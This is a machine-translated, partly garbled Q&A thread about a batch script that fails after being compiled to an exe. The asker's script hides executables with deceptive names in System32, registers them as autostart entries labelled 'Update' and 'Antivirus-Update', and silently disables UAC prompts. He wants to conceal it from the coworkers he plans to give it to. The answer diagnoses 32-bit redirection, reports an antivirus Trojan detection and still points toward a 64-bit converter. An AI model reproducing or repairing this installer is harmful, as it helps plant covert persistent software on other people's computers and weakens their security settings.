批处理文件有问题

Having troubles with batch files

这个问题很费我的脑筋。我有一个简单的批处理文件,它在 %SYSTEMROOT% 中创建一个目录,仅当它不存在时将某些文件复制到该目录,向它们添加属性 +S +R +H,添加两个程序以通过注册表启动并禁用UAC,因为我经常需要它,比如每天 3 次。它作为批处理文件运行良好,但我想将其分发给我的公司同事。我们都在这方面进行竞争,所以我不需要他们看到我的代码;我知道如果我还处于批处理脚本级别,我的代码不值得复制,但我的伙伴也不是最亮的灯泡!

我的问题是,当我使用 Quick Batch Convertor 将其转换为 exe 时,当它成为 exe 时,它​​开始提供 Access denied error 仅当它开始复制 %SYSTEMROOT% 中的文件时即使我是 运行 它作为管理员和禁用 UAC 命令,这是 C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 工作,这本来应该需要管理员权限。它只是复制文件,在转换为 exe 时拒绝访问。如果它是 batch.I 的形式,它们都可以正常工作知道这可能是题外话,但我怀疑批处理文件而不是 Quick Batch Converter 犯规,因为我已经使用此转换器转换了许多文件他们工作完美无瑕。

我的批次代码在这里

@echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update"     /t REG_SZ /d     "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\"  " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v     "Antivirus-Update " /t REG_SZ /d     "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\"  " /f 
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir         %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe"     "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S             %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe


C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD             HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v                     ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f  
exit 

有什么建议吗?

这个回答没有解决您的问题;它旨在解释 compiled 脚本的奇怪异常行为。 使用此 32 位 Quick Batch File Compiler 无法解决所描述的问题。为了证明,创建一个包含

的批处理脚本 battoexeTest.bat
@ECHO OFF
SETLOCAL EnableExtensions
set t|find /I "system"
for /F "delims=" %%G in ('
wmic process Where "caption='cmd.exe' and not CommandLine like '%%%%wmic%%%%'" get CommandLine^,ExecutablePath /value 
') do for /F "delims=" %%g in ("%%~G") do echo(%%~g
pause

输出(已提升;请注意,我已重定向用户的 %temp%%tmp% 变量):

TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine="C:\Windows\System32\cmd.exe" /C "D:\bat\battoexeTest.bat" 
ExecutablePath=C:\Windows\System32\cmd.exe

如果你 运行 上面脚本的编译版本 batToExeTestY.exe 提升 ,输出将改变如下:

TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine=cmd.exe /c ""D:\tempUser\SYSTEMYQTO48H.bat" "D:\bat\batToExeTestY.exe" "
ExecutablePath=C:\Windows\SysWOW64\cmd.exe

你可以看到

  • batToExeTestY.exe 在帐户 SYSTEM 的临时目录中使用一些随机名称 8YQTO48H.bat 创建原始批处理脚本的副本,请参阅 CommandLine
  • 运行s那个批处理文件在32bit命令行,见ExecutablePath.
  • 因此,32位被证明了。

阅读File System Redirector chapter in MSDN article Running 32-bit Applications:

The %windir%\System32 directory is reserved for 64-bit applications. … In most cases, whenever a 32-bit application attempts to access %windir%\System32, the access is redirected to %windir%\SysWOW64

示例:运行 attrib64 位命令行提示符下 (C:\Windows\system32\cmd.exe) 无论提升与否:

==> attrib "%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate\*.*"
A    R       C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-cliParser.exe
A            C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt

==> attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A            C:\Windows\system32\SystemSettingsUpdate\cliParser.exe
A  SHR       C:\Windows\system32\SystemSettingsUpdate\HL~Real~Def.txt

如果你运行attribdir32位命令行提示下,那么WOW重定向器

  • 显示C:\Windows\system32\SystemSettingsUpdate文件目录虽然
  • 显示位于 %SYSTEMROOT%\sysWOW64\SystemSettingsUpdate 中的文件。

看看:

==> %windir%\SysWoW64\cmd.exe /C attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A    R       C:\Windows\system32\SystemSettingsUpdate\WOW-cliParser.exe
A            C:\Windows\system32\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt

==> %windir%\SysWoW64\cmd.exe /C dir /A "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"|find ":"
 Directory of C:\Windows\system32\SystemSettingsUpdate
01.03.2016  12:25    <DIR>          .
01.03.2016  12:25    <DIR>          ..
01.03.2015  12:31             5 120 WOW-cliParser.exe
26.02.2016  08:54                84 WOW-HL~Realtime~Defense.txt

此外,试图 运行 您的批处理脚本(为了测试目的而稍微修改然后编译)提升但 AVG Internet Security Ultimate 在其 生化盾

"Trojan horse Pakes_c.BWYN, d:\bat\batToExeTest.exe";"Secured";"25. 2. 2016, 22:50:52";"File or Directory";"c:\Program Files (x86)\Abyssmedia\Quick Batch File Compiler\quickbfc.exe"

copy "%~dp0XYZ.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate" 行 and/or 上的 attrib 行在其 Identity Protection 模块中:

"IDP.ALEXA.51, D:\tempUser\SYSTEMW88ULA2.bat";"Secured";"26. 2. 2016, 8:35:14";"File or Directory";""
"Unknown, D:\tempUser\SYSTEM[=16=]G8KOWPT.bat";"Secured";"26. 2. 2016, 1:08:25";"File or Directory";""

可能是误报,但你肯定需要使用一些无病毒和 64 位 兼容的 bat 到 exe 转换器…